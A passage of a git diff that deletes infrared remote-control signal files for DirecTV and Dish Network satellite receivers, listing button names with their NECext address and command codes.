-protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: vol+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: vol- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir deleted file mode 100644 index 5239938b6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: KEY_DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: KEY_GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: KEY_ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: KEY_RESTART -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 41 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: KEY_FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 -# -name: KEY_POWERON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 80 00 00 00 -# -name: KEY_POWEROFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 81 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir deleted file mode 100644 index 65ba4a764..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CUR_/_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CANCEL_-_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE_* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: FORMAT/* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SEARCH/# -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: R_BUTTON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir deleted file mode 100644 index 2fe946a4e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: DISH_BUTTON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: RECORDED_EVENTS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: DVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: PIP_ON/SIZE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: PIP_POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: PIP_SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir deleted file mode 100644 index fcaa3b856..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir deleted file mode 100644 index d3f71ca84..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,0.ir +++ /dev/null @@ -1,668 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: SAT_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: ABC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: DEF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: GHI -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: JKL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MNO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: PQRS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: TUV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: WXYZ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER/SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CUR_/_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: C_SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CANCEL_-_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: GUIDE_* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: LISTINGS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: LIVETV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VIEW/LIVE_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: HD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: SD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TV_/_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT(BROWSE) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: BROWSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: LCV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT_(THEMES) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: THEMES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CHAN_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: SYS_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: FORMAT/* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: *-FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: SAT_FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: <_/_FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SEARCH/# -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: #-SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SEARCH_# -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: GREEN_R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: RECOVER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir deleted file mode 100644 index b7b67d6c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0E 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 10 00 00 00 -# -name: CURSER_SELECT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 17 00 00 00 -# -name: TV/VID -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT(BROWSE) -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 18 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT_(THEMES) -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1C 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1F 00 00 00 -# -name: SYS_INFO -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 24 00 00 00 -# -name: *-FORMAT -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 25 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 25 00 00 00 -# -name: #-SEARCH -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 26 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 26 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir deleted file mode 100644 index 8bb7f8950..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,12.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 